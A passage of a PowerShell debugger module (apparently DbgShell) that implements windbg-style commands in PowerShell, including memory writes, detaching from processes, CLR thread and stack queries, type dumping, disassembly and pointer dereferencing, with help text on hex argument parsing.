[object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { $curAddr = $Address if( ($PSCmdlet.ParameterSetName -eq 'HexStringsParamSet') -and (($HexStrings -eq $null) -or ($HexStrings.Count -eq 0)) ) { # # Interactive mode: we'll allow the user to input one value at # a time, stopping at the first empty entry. # $writeNewVal = { param( $curAddr, $ulong ) $valueAs8bits = [MS.Dbg.DbgProvider]::ConvertToUInt8( $ulong ) Write-DbgMemory -Address $curAddr -Bytes $valueAs8bits } $produceOldVal = { param( $curAddr ) $curVal = (db $curAddr L1)[ 0 ] return (ZeroPad $curVal.ToString( 'x' ) 2) } _PromptForNewMemoryValue $curAddr -WriteNewVal $writeNewVal -Stride 1 -ProduceOldVal $produceOldVal return } if( $Value ) { # The [AddressTransformation()] attribute already did the work. $asUlongs = $Value } else { $asUlongs = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $ExecutionContext, $null, # dbgProviderPath $true, # skipGlobalSymbolTest $false, # throwOnFailure $false, # dbgMemoryPassThru $true, # allowList ([object] $HexStrings) ) if( $null -eq $asUlongs ) { Write-Error "I didn't understand the input: $($HexStrings)" return } } foreach( $v in $asUlongs ) { # The AddressTransformation will give us back a UInt64 (or a UInt64[]). We # will need to convert it to 8 bits, which will throw an exception if # that's not possible (such as if the high bits are set). $valueAs8bits = [MS.Dbg.DbgProvider]::ConvertToUInt8( $v ) Write-DbgMemory -Address $curAddr -Bytes $valueAs8bits $curAddr += 1 } } finally { } } } # end eb <# .Synopsis Similar to the windbg "ed" command ("Enter DWORDs"): writes DWORD values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: ed $rsp 90 90 90 Just like you would in windbg. This command is equivalent: ed $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: ed $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: ed $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: ed $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error ed $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function ed { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { $curAddr = $Address if( ($PSCmdlet.ParameterSetName -eq 'HexStringsParamSet') -and (($HexStrings -eq $null) -or ($HexStrings.Count -eq 0)) ) { # # Interactive mode: we'll allow the user to input one value at # a time, stopping at the first empty entry. # $writeNewVal = { param( $curAddr, $ulong ) $valueAs32Bits = [MS.Dbg.DbgProvider]::ConvertToUInt32( $ulong ) Write-DbgMemory -Address $curAddr -DWords $valueAs32Bits } $produceOldVal = { param( $curAddr ) $curVal = (dd $curAddr L1)[ 0 ] return (ZeroPad $curVal.ToString( 'x' ) 8) } _PromptForNewMemoryValue $curAddr -WriteNewVal $writeNewVal -Stride 4 -ProduceOldVal $produceOldVal return } if( $Value ) { # The [AddressTransformation()] attribute already did the work. $asUlongs = $Value } else { $asUlongs = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $ExecutionContext, $null, # dbgProviderPath $true, # skipGlobalSymbolTest $false, # throwOnFailure $false, # dbgMemoryPassThru $true, # allowList ([object] $HexStrings) ) if( $null -eq $asUlongs ) { Write-Error "I didn't understand the input: $($HexStrings)" return } } foreach( $v in $asUlongs ) { # The AddressTransformation will give us back a UInt64 (or a UInt64[]). We will # need to convert it to 32 bits, which will throw an exception if that's not # possible (such as if the high bits are set). $valueAs32bits = [MS.Dbg.DbgProvider]::ConvertToUInt32( $v ) Write-DbgMemory -Address $curAddr -DWords $valueAs32bits $curAddr += 4 } } finally { } } } # end ed <# .Synopsis Similar to the windbg "eq" command ("Enter QWORDs"): writes QWORD values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: eq $rsp 90 90 90 Just like you would in windbg. This command is equivalent: eq $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: eq $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: eq $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: eq $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error eq $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function eq { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { $curAddr = $Address if( ($PSCmdlet.ParameterSetName -eq 'HexStringsParamSet') -and (($HexStrings -eq $null) -or ($HexStrings.Count -eq 0)) ) { # # Interactive mode: we'll allow the user to input one value at # a time, stopping at the first empty entry. # $writeNewVal = { param( $curAddr, $ulong ) Write-DbgMemory -Address $curAddr -QWords $ulong } $produceOldVal = { param( $curAddr ) $curVal = (dq $curAddr L1)[ 0 ] return ([MS.Dbg.DbgProvider]::FormatUInt64( $curVal, $true )) } _PromptForNewMemoryValue $curAddr -WriteNewVal $writeNewVal -Stride 8 -ProduceOldVal $produceOldVal return } if( $Value ) { # The [AddressTransformation()] attribute already did the work. $asUlongs = $Value } else { $asUlongs = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $ExecutionContext, $null, # dbgProviderPath $true, # skipGlobalSymbolTest $false, # throwOnFailure $false, # dbgMemoryPassThru $true, # allowList ([object] $HexStrings) ) if( $null -eq $asUlongs ) { Write-Error "I didn't understand the input: $($HexStrings)" return } } foreach( $v in $asUlongs ) { Write-DbgMemory -Address $curAddr -QWords $v $curAddr += 8 } } finally { } } } # end eq <# .Synopsis Similar to the windbg "ep" command ("Enter Pointers"): writes Pointer-sized values into memory. See important note about argument parsing in the full help description. .Description IMPORTANT NOTE ABOUT ARGUMENT PARSING: PowerShell parses numbers as decimal (base 10), but debugger users are accustomed to using hexadecimal (base 16). This can lead to problems. DbgShell uses some tricks to allow you to run this command very simalarly to how you would in a debugger. Notice that the default parameter set is the 'HexStringsParamSet', which can be bound positionally and can gather its value from remaining arguments. That lets you run commands like: ep $rsp 90 90 90 Just like you would in windbg. This command is equivalent: ep $rsp 0x90 0x90 0x90 However, say you have a byte[] in $myBytes. You might try something like: ep $rsp $myBytes # <-- BAD But that won't work (you'll get an error). If you are passing actual data objects (as opposed to string literals) on the command line, you need to use the -Value parameter set: ep $rsp -Value $myBytes Similarly for array literals, but remember that PowerShell parses the array literal, not the DbgShell command: ep $rsp @( 90, 90, 90 ) # <-- BAD, will fail with an error ep $rsp -Value @( 90, 90, 90 ) # <-- Will not fail, but those are 0n90! .Link Get-Help about_MemoryCommands #> function ep { [CmdletBinding( DefaultParameterSetName = 'HexStringsParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true, ParameterSetName = 'HexStringsParamSet' )] [string[]] $HexStrings, [Parameter( Mandatory = $false, ParameterSetName = 'ObjectParamSet' )] [MS.Dbg.Commands.AddressTransformation( AllowList = $true )] [object] $Value ) process { try { if( $Debugger.TargetIs32Bit ) { ed @PSBoundParameters } else { eq @PSBoundParameters } } finally { } } } # end ep <# .Synopsis Detaches the debugger from the current process, similar to .detach, but leaves the target process suspended. .Link '.detach' '.kill' #> function .abandon() { Disconnect-DbgProcess -LeaveSuspended } <# .Synopsis Forcibly ends the current target process and detaches the debugger. .Link '.abandon' '.detach' #> function .kill() { Disconnect-DbgProcess -Kill } <# .Synopsis Disconnects the debugger from the current target process, letting it resume execution. .Link '.abandon' '.kill' #> function .detach() { Disconnect-DbgProcess } <# .SYNOPSIS Sets the state whether debuggers should unwind the stack solely based on frame pointers. (This is known to be useful on ARM/THUMB2.) .Link Get-ForceFramePointerStackWalks '.stkwalk_force_frame_pointer' #> function Set-ForceFramePointerStackWalks { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [bool] $Enabled ) begin { } end { } process { try { [string] $p = '1' if( !$Enabled ) { Write-Verbose "Disabling 'force frame pointer stackwalks'." $p = '0' } else { Write-Verbose "Enabling 'force frame pointer stackwalks'." } $output = Invoke-DbgEng ".stkwalk_force_frame_pointer $p" -OutputPrefix '' Write-Verbose $output } finally { } } } # end Set-ForceFramePointerStackWalks <# .SYNOPSIS Queries the state whether debuggers should unwind the stack solely based on frame pointers. .Link Set-ForceFramePointerStackWalks '.stkwalk_force_frame_pointer' #> function Get-ForceFramePointerStackWalks { [CmdletBinding()] [OutputType( 'System.Boolean' )] param() begin { } end { } process { try { $output = Invoke-DbgEng '.stkwalk_force_frame_pointer' -OutputPrefix '' Write-Verbose $output if( $output.Contains( 'disabled' ) ) { return $false } else { if( !$output.Contains( 'enabled' ) ) { throw "Unexpected output from .stkwalk_force_frame_pointer: $output" } return $true } } finally { } } } # end Get-ForceFramePointerStackWalks <# .SYNOPSIS Query or set the state whether debuggers should unwind the stack solely based on frame pointers. (This is known to be useful on ARM/THUMB2.) .Link Get-ForceFramePointerStackWalks Set-ForceFramePointerStackWalks #> function .stkwalk_force_frame_pointer { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [object] $Enabled ) begin { } end { } process { try { if( $null -eq $Enabled ) { Get-ForceFramePointerStackWalks } else { if( (0 -eq $Enabled) -or ('0' -eq $Enabled) -or ($false -eq $Enabled) ) { Set-ForceFramePointerStackWalks -Enabled $false } else { Set-ForceFramePointerStackWalks -Enabled $true } } } finally { } } } # end .stkwalk_force_frame_pointer <# .SYNOPSIS Gets ClrRuntime objects for the current process. (Note that there can be more than one CLR runtime loaded in a process.) #> function Get-ClrRuntime { [CmdletBinding()] [OutputType( [Microsoft.Diagnostics.Runtime.ClrRuntime] )] param() begin { } end { } process { try { $Debugger.GetCurrentTarget().ClrRuntimes } finally { } } } # end Get-ClrRuntime <# .SYNOPSIS Gets ClrAppDomain objects for the current process. #> function Get-ClrAppDomain { [CmdletBinding()] [OutputType( [Microsoft.Diagnostics.Runtime.ClrAppDomain] )] param( [Parameter( Mandatory = $false )] [switch] $IncludeSystemAndShared ) begin { } end { } process { try { foreach( $clrRuntime in Get-ClrRuntime ) { $clrRuntime.AppDomains if( $IncludeSystemAndShared ) { $clrRuntime.SystemDomain $clrRuntime.SharedDomain } } } finally { } } } # end Get-ClrAppDomain <# .SYNOPSIS Gets ClrThread objects for the current process. #> function Get-ClrThread { # N.B. these params must be kept in sync with Get-ClrStack [CmdletBinding( DefaultParameterSetName = 'NoParamSet' )] [OutputType( [Microsoft.Diagnostics.Runtime.ClrThread] )] param( [Parameter( Mandatory = $false, ParameterSetName = 'CurrentParamSet' )] [switch] $Current, [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'ManagedIdParamSet' )] [int] $ManagedId, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'OsIdParamSet' )] [MS.Dbg.Commands.AddressTransformationAttribute()] # These are usually provided in hex [int] $OsTid, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'DbgEngIdParamSet' )] [int] $DbgEngId ) begin { } end { } process { try { $filter = { $true } if( $Current ) { $nativeThread = Get-DbgUModeThreadInfo -Current $filter = { $_.OSThreadId -eq $nativeThread.Tid } } elseif( $PSCmdlet.ParameterSetName -eq 'ManagedIdParamSet' ) { $filter = { $_.ManagedThreadId -eq $ManagedId } } elseif( $PSCmdlet.ParameterSetName -eq 'OsIdParamSet' ) { $nativeThread = Get-DbgUModeThreadInfo -SystemId $OsTid -ErrorAction Ignore if( $null -eq $nativeThread ) { Write-Warning "No current native thread with system ID $($OsTid)." # We don't return here. The CLR may still have a record of # a managed thread that corresponds to a now-gone OS # thread. } $filter = { $_.OSThreadId -eq $OsTid } } elseif( $PSCmdlet.ParameterSetName -eq 'DbgEngIdParamSet' ) { $nativeThread = Get-DbgUModeThreadInfo -DebuggerId $DbgEngId -ErrorAction Ignore if( $null -eq $nativeThread ) { Write-Error "No thread with debugger ID $($DbgEngId)." return } $filter = { $_.OSThreadId -eq $nativeThread.Tid } } foreach( $clrRuntime in Get-ClrRuntime ) { $clrRuntime.Threads | where $filter } } finally { } } } # end Get-ClrThread <# .SYNOPSIS Gets a set of ClrStackFrame objects for the current thread. (The default formatting for ClrStackFrame objects is a table format, so this will look like a managed stack trace.) #> function Get-ClrStack { # N.B. these params must be kept in sync with Get-ClrThread [CmdletBinding( DefaultParameterSetName = 'CurrentParamSet' )] [OutputType( [Microsoft.Diagnostics.Runtime.ClrStackFrame[]] )] param( [Parameter( Mandatory = $false, ParameterSetName = 'AllParamSet' )] [switch] $All, [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'ManagedIdParamSet' )] [int] $ManagedId, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'OsIdParamSet' )] [MS.Dbg.Commands.AddressTransformationAttribute()] # These are usually provided in hex [int] $OsTid, [Parameter( Mandatory = $true, Position = 0, ParameterSetName = 'DbgEngIdParamSet' )] [int] $DbgEngId ) begin { } end { } process { try { # We can't seem to access $PSBoundParameters when in a child pipeline, so we # need to save them to another variable here: $psb = $PSBoundParameters [ScriptBlock] $addtlPerFrameFilter = { $_ } # Rather than dot-source this scriptblock right here, we need to assign it to # a variable and then dot-source that. (Workaround for a PS bug, which caused # PS-native formatting data to get dropped and constantly reloaded.) $thisCrazySb = { if( $All ) { # This is pretty awkward, but... # # I'd like to keep the output of this function as just pure # ClrStackFrame objects. But if we are spitting out frames for # multiple threads in one go, they'll all get formatted into one giant # table, which doesn't make sense. # # What we want is for the frames to be grouped by thread (-GroupBy). # But there's trouble with that... # # 1) The ClrStackFrame objects don't have a thread property by # which they can be grouped. # # 2) We don't want the default table view for a single thread's # stack to have thread spew. # # I originally planned to get around this by: # # 1) attaching a thread property to each frame, and # # 2) attaching an object-specific default view which includes the # -GroupBy info. # # (ONLY for the case where we are showing stacks from multiple # threads.) # # But there was trouble with that: attaching stuff to a ClrStackFrame # object actually attaches it to the PSObject that wraps it, and the # PSObject for a given ClrStackFrame object "follows" it. That is, if # we later call Get-ClrStack for just a single thread, the frames will # /still/ have the extra stuff attached to them. We don't want that. # # One idea to get around the problem was to copy the PSObject # (PSObject.Copy()). But that only works if the wrapped object is # ICloneable, and ClrStackFrame isn't (and it didn't seem like a # reasonable request for ClrMd). # # Another idea to get around it was to wrap the ClrStackFrame in a # dynamic object. That would work fine for dynamic binding # scenarios... but the alternate formatting engine does not always do # dynamic binding (for instance, with property columns, it just uses # the column name to look up the property in the PSObject.Properties # collection). # # Another idea was to just create a new custom PSObject with # properties mirroring the ClrStackFrame. But that had a problem, too: # the formatting view for ClrStackFrame accesses some properties using # "method syntax" (like "$_.get_InstructionPointer()") (this is better # for exception behavior). # # So I've thrown in the towel and just created a separate class, # ClrStackFrameCloneable. # # Now that we have a different type, we don't even really need the # whole WithGroupBy/Set-AltFormatDefaultViewDef stuff; we could just # have a view that targets that type specifically. *sigh* But then I # wouldn't have any code to exercise those new formatting features. :/ # $fmt = (Get-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrStackFrame' -FormatInfoType ([MS.Dbg.Formatting.AltTableViewDefinition])).ViewDefinitionInfo.ViewDefinition $fmt = $fmt.WithGroupBy( 'Thread', <# produceGroupByHeader #> { $_ | Format-AltSingleLine } ) $addtlPerFrameFilter = { # We don't want the added properties to be permanently "stuck" to # the ClrStackFrame objects, so we need to copy them. If # ClrStackFrame was ICloneable, we could just call PSObject.Copy() # on it, but I don't feel like trying to justify that change. $obj = New-Object 'MS.Dbg.ClrStackFrameCloneable' -Arg @( $_ ) Set-AltFormatDefaultViewDef -ForObject $obj -FormatInfo $fmt return $obj } Get-ClrThread } elseif( $PSCmdlet.ParameterSetName -eq 'CurrentParamSet' ) { Get-ClrThread -Current } else { Get-ClrThread @psb } } . $thisCrazySb | ForEach-Object { # <-- Pipe! $thread = $_ $_.StackTrace | ForEach-Object $addtlPerFrameFilter } } finally { } } } # end Get-ClrStack function Dbg: { Set-Location Dbg: } Set-Alias ide Invoke-DbgEng Set-Alias Get-Breakpoint Get-DbgBreakpoint Set-Alias Set-Breakpoint Set-DbgBreakpoint Set-Alias Remove-Breakpoint Remove-DbgBreakpoint Set-Alias Enable-Breakpoint Enable-DbgBreakpoint Set-Alias Disable-Breakpoint Disable-DbgBreakpoint Set-Alias bl Get-DbgBreakpoint Set-Alias be Enable-DbgBreakpoint Set-Alias bd Disable-DbgBreakpoint Set-Alias bc Remove-DbgBreakpoint Set-Alias bp Set-DbgBreakpoint Set-Alias Get-ModuleInfo Get-DbgModuleInfo Set-Alias lm Get-DbgModuleInfo Set-Alias Get-RegisterSet Get-DbgRegisterSet Set-Alias r Get-DbgRegisterSet -Option AllScope -Scope Local -Force # see comment about setting in "both scopes" Set-Alias r Get-DbgRegisterSet -Option AllScope -Scope Global -Force # see comment about setting in "both scopes" Set-Alias Get-Stack Get-DbgStack Set-Alias Mount-DumpFile Mount-DbgDumpFile Set-Alias -Name 'z' -Value Mount-DbgDumpFile Set-Alias -Name '-z' -Value Mount-DbgDumpFile Set-Alias dv Get-DbgLocalSymbol Set-Alias ln Get-DbgNearSymbol Set-Alias .dump Write-DbgDumpFile <# .SYNOPSIS Similar to the windbg command "dt", but with the augmented ability to deduce types for bare addresses when there is a vtable present. .DESCRIPTION #> function dt { [CmdletBinding( DefaultParameterSetName = 'JustTypeNameParamSet' )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'JustTypeNameParamSet' )] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'TypeNameAndAddressParamSet' )] [ValidateNotNullOrEmpty()] [object] $TypeNameOrAddress, [Parameter( Mandatory = $false, Position = 1, ParameterSetName = 'TypeNameAndAddressParamSet' )] [ValidateNotNullOrEmpty()] [object] $TypeNameOrAddress2, [Parameter( Mandatory = $false, ParameterSetName = 'JustTypeNameParamSet' )] [switch] $NoFollowTypeDefs, [Parameter( Mandatory = $false, ParameterSetName = 'JustTypeNameParamSet' )] [switch] $Raw, [Parameter( Mandatory = $false, ParameterSetName = 'JustTypeNameParamSet' )] [Alias( 'e' )] # like dt -e [Alias( 't' )] # like dt -t # TODO: What is the difference between "dt -t" and "dt -e"??? [switch] $TypesOnly ) begin { } end { } process { try { $dbgPath = $ExecutionContext.SessionState.Path.CurrentProviderLocation( [MS.Dbg.DbgProvider]::ProviderId ) # Windbg's 'dt' is very flexible--you can pass an address and a typename, or # a typename and an address (either order works); or a global symbol; or a # type name. Hence the craziness here. # # In addition to windbg dt's flexibility, I've also added the ability for dt # to deduce the type of a naked address--i.e. if you run "dt 123`456789ab", # and there is a vtable pointer there, we can figure out the type and dump the # object. if( !$TypeNameOrAddress2 ) { # # Check if it looks like an address first, else 0x123`456789ab looks like # a string to PS, and we'll end up trying to look for a type with that # "name" in every single module. # $addr = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $null, # no way to get engineIntrinsics ... or does $ExecutionContext work? $dbgPath, $true, # skipGlobalSymbolTest $false, # throwOnFailure $TypeNameOrAddress ) if( $addr ) { # # This is the "please try to figure out the type for me" scenario. # if( $addr -isnot [UInt64] ) { throw "I expected a ulong..." } $udt = $Debugger.TryGuessTypeForAddress( $addr ) if( $null -ne $udt ) { Get-DbgSymbolValue -Address $addr -Type $udt } else { # # Maybe it's the address of a global? This seems like a stretch... # maybe it's not worth doing? # $nearSym = Get-DbgNearSymbol -Delta 0 -Address $addr if( $nearSym.IsExactMatch ) { $nearSym.Symbol.Value } else { Write-Error "Could not deduce type at address: $(Format-DbgAddress $addr)" } } return } # end if( $addr ) if( $TypeNameOrAddress -isnot [string] ) { throw "I don't know what to do with a $($TypeNameOrAddress.GetType().FullName)." } $sym = $null if( $Raw -or $NoFollowTypeDefs ) { Write-Verbose "-Raw and -NoFollowTypeDefs are only valid for dumping types." $TypesOnly = $true # it might already be set } if( !$TypesOnly ) { [MS.Dbg.GlobalSymbolCategory] $Category = 'Data,Function' # There could be members too (like foo!sym.blah.bar). That's not # supported by windbg, but I like it. [string[]] $tokens = $TypeNameOrAddress.Split( '.' ) # It could be a local symbol, global symbol, or a type. # # If it looks like it could be a local, we'll check locals first. # Because if somebody does "dt this", we don't want to start out by # loading all the symbols for all the modules so that we can look for # a global "this" in each one. if( $tokens[ 0 ].IndexOf( ([char] '!') ) -lt 0 ) { $sym = Get-DbgLocalSymbol -Name $tokens[ 0 ] if( $sym ) { $val = $sym.Value for( [int] $i = 1; $i -lt $tokens.Count; $i++ ) { $prop = $val.PSObject.Properties[ $tokens[ $i ] ] if( !$prop ) { # Or should this throw? Write-Error "No such '$($tokens[ $i ])' property on '$($tokens[ $i - 1 ])'." return } $val = $prop.Value } $val } } if( !$sym ) { # Maybe it's a global. $sym = Get-DbgSymbol -Name $tokens[ 0 ] -Category $category # N.B. I'm depending on the fact that Get-DbgSymbol does not yield an # error if the symbol was not found, even if there were no wildcards. if( $sym ) { # Note that I'm not just returning $sym.Value, since there could # be members included in $TypeNameOrAddress. Get-DbgSymbolValue -Name $TypeNameOrAddress -Category $category } } } # It could cover type names, too, if there is a wildcard involved. if( (!$sym) -or ([System.Management.Automation.WildcardPattern]::ContainsWildcardCharacters( $TypeNameOrAddress )) ) { Get-DbgTypeInfo -Raw:$Raw -NoFollowTypeDefs:$NoFollowTypeDefs -Name $TypeNameOrAddress } return } # end if( only one parameter ) # One is (should be) an address, and the other a type/typename. # # But which is which? $typeThing = $null $addr = [MS.Dbg.Commands.AddressTransformationAttribute]::Transform( $null, # no way to get engineIntrinsics $dbgPath, $true, # skipGlobalSymbolTest $false, # throwOnFailure $TypeNameOrAddress ) if( $addr ) { if( $addr -isnot [UInt64] ) { throw "I expected a ulong..." } $typeThing = $TypeNameOrAddress2 } else { $typeThing = $TypeNameOrAddress $addr = $TypeNameOrAddress2 } return Get-DbgSymbolValue -Address $addr -Type $typeThing } finally { } } # end 'process' block } # end function dt <# .SYNOPSIS Similar to the windbg command "x": gets information for local or global symbols. .DESCRIPTION "x" just forwards to Get-DbgLocalSymbol ("dv") or Get-DbgSymbol, depending on if there is a '!' in the $Name. #> function x { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string[]] $Name, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.GlobalSymbolCategory] $Category = [MS.Dbg.GlobalSymbolCategory]::All ) begin { } end { } process { try { foreach( $n in $Name ) { if( $n.Contains( ([char] '!') ) ) { Get-DbgSymbol -Name $n -Category $Category } else { if( $Category -ne 'All' ) { Write-Warning "The '-Category' parameter is not supported for local variables." } Get-DbgLocalSymbol -Name $n } } } finally { } } # end 'process' block } # end function x <# .Synopsis Like the windbg "u" command. #> function u { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation()] [UInt64] $CountOrEndAddress ) process { try { $disasmArgs = @{ 'Address' = $Address } if( $CountOrEndAddress.IsNegative ) { [System.Diagnostics.Debug]::Assert( $CountOrEndAddress.HasLengthPrefix ) $disasmArgs[ 'InstructionCount' ] = [int] (0 - $CountOrEndAddress) } elseif( $CountOrEndAddress -ne 0 ) { if( !$CountOrEndAddress.HasLengthPrefix ) { # Is it a count, or is it an end address? This is a pretty simple # heuristic, but I bet it mostly works. if( ($Address -ne 0) -and ($CountOrEndAddress -gt $Address) -and (($CountOrEndAddress - $Address) -lt 256kb) ) { $disasmArgs[ 'EndAddress' ] = $CountOrEndAddress } elseif( ($CountOrEndAddress -lt 256kb) -and ($CountOrEndAddress -ne 0) ) { $disasmArgs[ 'InstructionCount' ] = [int] $CountOrEndAddress } else { throw "The value '$($CountOrEndAddress.ToString( 'x' ))' is too large to be a valid range. If you really want that much, use the size override syntax (`"L?`")." } } else { $disasmArgs[ 'InstructionCount' ] = [int] $CountOrEndAddress } } # end if( $CountOrEndAddress -ne 0 ) Read-DbgDisassembly @disasmArgs } finally { } } } # end u <# .Synopsis Let's you type "u." instead of "u .". #> function u.() { u . } <# .Synopsis Let's you type "uf." instead of "uf .". #> function uf.() { uf . } <# .Synopsis Like the windbg "ub" command. #> function ub { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [UInt32] $Count = 8 ) process { try { Read-DbgDisassembly $Address -InstructionCount ([int] 0 - $Count) } finally { } } } # end ub <# .Synopsis Like the windbg "uf" command. #> function uf { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address ) process { try { Read-DbgDisassembly -Address $Address -WholeFunction } finally { } } } # end uf <# .Synopsis Similar to the windbg "poi" command (MASM operator). .Description The 'poi' command dereferences a pointer. Similar to windbg, using 'poi' on a numeric address will read memory from the specified address. If you pass a DbgPointerValue instead of a raw address, then 'poi' will return the "pointee" value (equivalent to calling the DbgGetPointee() method on it). Note that you will need to use this much differently than you use "poi" in windbg. In windbg, you call it as if it were a function call, like "dd poi( 07ef0000 )". This syntax will not work in PowerShell. First, you don't use parentheses when calling commands (parentheses only serve to group sub-things); and you'll also need to wrap the whole thing in parentheses if you are passing the result to something else, like this: "dd (poi 0x07ef0000)". Windbg: "dd poi( 07ef0000 ) PowerShell: "dd (poi 0x07ef0000)" #> function poi { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [object] $Address ) begin { function _PoiForAddress { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address ) process { $Debugger.ReadMemAs_pointer( $Address ) } } # end _PoiForAddress } # end 'begin' block process { try { if( $Address -is [MS.Dbg.DbgPointerValue] ) { $Address.DbgGetPointee() } else { # Note that other objects deriving from DbgPointerValueBase will come in # here. They are implicitliy convertable to UInt64, so the # [AddressTransformation()] attribute will work fine on them. _PoiForAddress $Address } } finally { } } # end 'process' block } # end poi <# .Synopsis "Safe 'poi'": try to dereference a pointer, but don't blow up if it's NULL. .Link poi #> function spoi { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [object] $Address ) begin { function _PoiForAddress { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation()] # TODO: The workaround for INTf423c7e8 is to relax the parameter # type (to "object"). #[UInt64] $Address, [object] $Address ) process { if( $Address -gt 4095 ) { $Debugger.ReadMemAs_pointer( $Address ) } } } # end _PoiForAddress } # end 'begin' block process { try { if( $null -eq $Address ) { return } if( $Address -is [MS.Dbg.DbgPointerValue] ) 